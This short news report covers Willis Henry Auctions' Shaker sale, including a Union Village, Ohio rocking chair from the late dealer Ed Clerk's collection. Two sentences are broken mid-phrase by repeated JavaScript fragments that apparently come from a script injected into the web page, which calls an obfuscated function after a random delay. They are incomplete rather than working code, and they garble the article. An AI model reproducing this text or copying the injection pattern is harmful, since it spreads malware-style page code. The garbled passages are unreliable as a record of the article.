PITTSFIELD, MASS. — The top lot at Willis Henry Auctions’ annual Shaker sale on Saturday, September 7, came early on during the second session andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was among fine Ohio Shaker antiques that had made their way East years ago when Shaker communities in the Midwest closed.

From the collection of the late andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and renowned antiques dealer Ed Clerk came lot 40, a rare rocking chair from the Union Village, Ohio Shakers, in a lovely bittersweet orange finish. “He lived with Shaker,” Willis Henry said of Clerk during the auction preview. “Ed loved orange.”

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A complete report on the sale will appear in an upcoming edition.